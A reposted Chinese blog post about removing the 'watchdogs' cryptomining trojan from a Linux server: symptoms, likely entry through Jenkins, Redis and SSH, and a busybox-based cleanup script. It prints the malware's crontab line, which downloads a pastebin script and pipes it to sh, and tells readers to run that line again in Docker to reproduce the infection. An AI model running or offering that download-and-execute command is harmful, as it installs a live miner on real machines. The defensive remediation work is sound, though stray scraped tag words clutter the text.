服務器被植入挖礦木馬的心酸過程

轉自 http://www.javashuo.com/article/p-wgoumrxf-eh.html


最近打開服務變得很慢,而後 CPU,內存佔用有達到了100%,打開網站都很慢,這個確定很反常的,平時cpu不會達到那麼高,所以netstat -ntlp 準備看看端口占用是否是有什麼異常,有的會看到cpu暫用狀況,有的不會顯示,由於木馬屏蔽掉了相關的命令。
好了,不死心。而後我看下定時任務,crontab -l
emmmm,ios

  1. */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

這個任務我記得我沒有添加定時任務啊,還15分鐘執行一次,個人天。
而後我就打算刪掉這個定時任務,不管是 crontab -r 仍是執行修改定時任務配置文件,都沒法刪掉這個定時任務redis

而後網上查下。docker

直觀表現
  • top, ps -ef 無異常進程
  • load average 穩步飆升
  • netstat 命令被刪除
  • 嘗試創建大量22端口, 6379端口的內網鏈接
  • crontab 被添加定時挖礦腳本, 刪除無效

傳播途徑
  • jenkins漏洞(or 弱密碼?)侵入
  • 嘗試root用戶ssh的免密登陸
  • 嘗試redis內網登陸

en,想起前兩天jenkins 升級了軟件,後來就很卡了系統。centos

準備過程
獲取busybox

因感染病毒後, ls等系統命令會被劫持, 須要busybox替代這些系統命令, 下面提供從busybox官方docker鏡像中提取的靜態編譯版busybox過程.tomcat

  1. docker run --rm -itv /tmp/:/tmp busybox:uclibc
  2. cp /bin/busybox /tmp
  3. exit

宿主機即獲取到: /tmp/busybox服務器

復現感染過程(docker環境被root感染模式)
docker與虛擬機環境有區別, 病毒行爲會受限ssh

  1. docker run --rm -it -v /tmp:/tmp centos:latest
  2. yum install -y crontabs lsof e2fsprogs
  3. (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系統命令
  1. busybox top, busybox ps -ef

此busybox爲靜態編譯版, 不依賴so庫, 系統的ls等命令已被經過so庫的preload機制被病毒劫持, ls會致使/etc/cron.d/root文件被刷寫爲病毒定時執行命令.curl

發現比系統命令多兩個進程(進程個數跟cpu核數有關), 耗盡了全部cpu資源post

  1. /tmp/ksoftirqds
  2. /tmp/watchdogs

查殺過程(系統命令已不可信, 操做優先採用busybox)網站

關閉crontab
  1. systemctl stop crond
上傳busybox
  1. chmod +x busybox && mv busybox /sbin/
寫hosts, 屏蔽病毒腳本下載
  1. busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
刪除,建立,並鎖定 crontab相關文件
  1. busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
  2. busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
  3. busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
備份重要的crontab,而後刪除cron.d目錄的其餘文件
  1. busybox rm -rf /etc/cron.d/*
檢查並刪除下面目錄有異常文件
  1. busybox ls /etc/cron.daily
  2. busybox ls /etc/cron.hourly
  3. busybox ls /etc/cron.monthly
  4. busybox ls /etc/cron.weekly
刪除病毒相關執行文件和啓動腳本
  1. /busybox rm /sbin/watchdogs
  2. /busybox rm /usr/sbin/watchdogs
  3. /busybox rm /etc/init.d/watchdogs
  4. busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
刪除病毒進程
  1. busybox pkill watchdogs
  2. busybox pkill ksoftirqds
  3. 刪除被preloadso
  4. busybox rm /usr/local/lib/libioset.so
  5. busybox rm /etc/ld.so.preload
  6. busybox rm /etc/ld.so.cache
  7. 驗證libioset.so被卸載
  8. lsof |grep usr/local/lib/libioset.so

無輸出, 則該動態連接庫被卸載, 直接執行驗證步驟;

有輸出, kill掉佔用的進程, 重複執行該步驟;

若反覆執行後沒法成功卸載該動態連接庫, 請執行服務器重啓操做.

重啓服務器
驗證步驟

  1. busybox top # 查看系統負載
  2. crontab -l # 查看是否還有異常任務
  3. busybox chattr -i /etc/cron.d/root # 過一段時間查看是否有異常任務寫入

若是這種方式仍是沒清理掉

提供一份清理腳本:

    1. service crond stop
    2. busybox rm -f /etc/ld.so.preload
    3. busybox rm -f /usr/local/lib/libioset.so
    4. chattr -i /etc/ld.so.preload
    5. busybox rm -f /etc/ld.so.preload
    6. busybox rm -f /usr/local/lib/libioset.so
    7. # 清理異常進程
    8. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
    9. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
    10. busybox rm -f /tmp/watchdogs
    11. busybox rm -f /etc/cron.d/tomcat
    12. busybox rm -f /etc/cron.d/root
    13. busybox rm -f /var/spool/cron/root
    14. busybox rm -f /var/spool/cron/crontabs/root
    15. busybox rm -f /etc/rc.d/init.d/watchdogs
    16. busybox rm -f /usr/sbin/watchdogs
    17. ldconfig
    18. # 再次清理異常進程
    19. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
    20. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
    21. # 清理開機啓動項
    22. chkconfig watchdogs off
    23. chkconfig del watchdogs
    24. service crond start
    25. echo "Done, Please reboot!"
相關文章
相關標籤/搜索